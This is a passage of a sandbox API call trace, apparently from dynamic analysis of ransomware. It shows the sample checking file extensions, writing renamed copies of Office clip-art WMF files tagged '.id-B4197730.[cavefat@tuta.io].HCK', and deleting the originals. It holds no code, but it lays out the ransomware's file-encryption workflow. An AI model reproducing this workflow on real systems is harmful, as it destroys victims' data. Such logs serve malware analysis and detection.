lstrlenW (lpString=".xls") returned 4 [0180.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.542] lstrlenW (lpString=".xlsx") returned 5 [0180.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.542] lstrlenW (lpString=".ppt") returned 4 [0180.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.542] lstrlenW (lpString=".zip") returned 4 [0180.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.542] lstrlenW (lpString=".rar") returned 4 [0180.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.542] lstrlenW (lpString=".bz2") returned 4 [0180.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.542] lstrlenW (lpString=".7z") returned 3 [0180.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".dbf") returned 4 [0180.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".1cd") returned 4 [0180.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".jpg") returned 4 [0180.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".doc") returned 4 [0180.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString=".docx") returned 5 [0180.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.543] lstrlenW (lpString=".pdf") returned 4 [0180.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString=".xls") returned 4 [0180.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.543] lstrlenW (lpString=".xlsx") returned 5 [0180.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.543] lstrlenW (lpString=".ppt") returned 4 [0180.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".zip") returned 4 [0180.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.543] lstrlenW (lpString=".rar") returned 4 [0180.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString=".bz2") returned 4 [0180.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString=".7z") returned 3 [0180.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".dbf") returned 4 [0180.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".1cd") returned 4 [0180.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.543] lstrlenW (lpString=".jpg") returned 4 [0180.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.543] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.543] lstrlenW (lpString="SO00513_.WMF") returned 12 [0180.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.547] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5924) returned 1 [0180.547] CloseHandle (hObject=0x370) returned 1 [0180.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf")) returned 0x220 [0180.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.551] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.551] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.553] GetLastError () returned 0x0 [0180.553] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1724, lpOverlapped=0x0) returned 1 [0180.555] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1730, lpOverlapped=0x0) returned 1 [0180.556] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.556] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.556] SetEndOfFile (hFile=0x2fc) returned 1 [0180.556] CloseHandle (hObject=0x2fc) returned 1 [0180.558] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.558] SetEndOfFile (hFile=0x370) returned 1 [0180.559] CloseHandle (hObject=0x370) returned 1 [0180.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf")) returned 1 [0180.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.563] lstrlenW (lpString=".doc") returned 4 [0180.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.563] lstrlenW (lpString=".docx") returned 5 [0180.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.564] lstrlenW (lpString=".pdf") returned 4 [0180.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".xls") returned 4 [0180.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.564] lstrlenW (lpString=".xlsx") returned 5 [0180.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.564] lstrlenW (lpString=".ppt") returned 4 [0180.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".zip") returned 4 [0180.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.564] lstrlenW (lpString=".rar") returned 4 [0180.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".bz2") returned 4 [0180.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".7z") returned 3 [0180.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".dbf") returned 4 [0180.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".1cd") returned 4 [0180.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".jpg") returned 4 [0180.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".doc") returned 4 [0180.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".docx") returned 5 [0180.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.564] lstrlenW (lpString=".pdf") returned 4 [0180.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".xls") returned 4 [0180.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.564] lstrlenW (lpString=".xlsx") returned 5 [0180.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.564] lstrlenW (lpString=".ppt") returned 4 [0180.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".zip") returned 4 [0180.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.564] lstrlenW (lpString=".rar") returned 4 [0180.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".bz2") returned 4 [0180.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.564] lstrlenW (lpString=".7z") returned 3 [0180.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.564] lstrlenW (lpString=".dbf") returned 4 [0180.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.565] lstrlenW (lpString=".1cd") returned 4 [0180.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 68 [0180.565] lstrlenW (lpString=".jpg") returned 4 [0180.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.565] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.565] lstrlenW (lpString="SO00629_.WMF") returned 12 [0180.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.567] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4070) returned 1 [0180.567] CloseHandle (hObject=0x2fc) returned 1 [0180.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf")) returned 0x220 [0180.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.580] GetLastError () returned 0x0 [0180.580] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xfe6, lpOverlapped=0x0) returned 1 [0180.581] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xff0, lpOverlapped=0x0) returned 1 [0180.582] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.582] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.582] SetEndOfFile (hFile=0x2fc) returned 1 [0180.583] CloseHandle (hObject=0x2fc) returned 1 [0180.585] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.585] SetEndOfFile (hFile=0x39c) returned 1 [0180.587] CloseHandle (hObject=0x39c) returned 1 [0180.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf")) returned 1 [0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.590] lstrlenW (lpString=".doc") returned 4 [0180.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.590] lstrlenW (lpString=".docx") returned 5 [0180.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.590] lstrlenW (lpString=".pdf") returned 4 [0180.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.590] lstrlenW (lpString=".xls") returned 4 [0180.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.590] lstrlenW (lpString=".xlsx") returned 5 [0180.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.590] lstrlenW (lpString=".ppt") returned 4 [0180.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString=".zip") returned 4 [0180.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.591] lstrlenW (lpString=".rar") returned 4 [0180.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString=".bz2") returned 4 [0180.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString=".7z") returned 3 [0180.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString=".dbf") returned 4 [0180.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString=".1cd") returned 4 [0180.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString=".jpg") returned 4 [0180.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString=".doc") returned 4 [0180.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString=".docx") returned 5 [0180.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.591] lstrlenW (lpString=".pdf") returned 4 [0180.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString=".xls") returned 4 [0180.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.591] lstrlenW (lpString=".xlsx") returned 5 [0180.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.591] lstrlenW (lpString=".ppt") returned 4 [0180.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.591] lstrlenW (lpString=".zip") returned 4 [0180.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.591] lstrlenW (lpString=".rar") returned 4 [0180.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.591] lstrlenW (lpString=".bz2") returned 4 [0180.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.592] lstrlenW (lpString=".7z") returned 3 [0180.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.592] lstrlenW (lpString=".dbf") returned 4 [0180.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.592] lstrlenW (lpString=".1cd") returned 4 [0180.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF") returned 68 [0180.592] lstrlenW (lpString=".jpg") returned 4 [0180.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.592] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.592] lstrlenW (lpString="SO00668_.WMF") returned 12 [0180.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.594] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5714) returned 1 [0180.594] CloseHandle (hObject=0x2fc) returned 1 [0180.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf")) returned 0x220 [0180.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.597] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.597] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.606] GetLastError () returned 0x0 [0180.606] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1652, lpOverlapped=0x0) returned 1 [0180.608] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1660, lpOverlapped=0x0) returned 1 [0180.609] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.609] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.609] SetEndOfFile (hFile=0x368) returned 1 [0180.610] CloseHandle (hObject=0x368) returned 1 [0180.611] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.612] SetEndOfFile (hFile=0x39c) returned 1 [0180.616] CloseHandle (hObject=0x39c) returned 1 [0180.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf")) returned 1 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString=".doc") returned 4 [0180.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString=".docx") returned 5 [0180.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.618] lstrlenW (lpString=".pdf") returned 4 [0180.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString=".xls") returned 4 [0180.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.618] lstrlenW (lpString=".xlsx") returned 5 [0180.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.618] lstrlenW (lpString=".ppt") returned 4 [0180.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 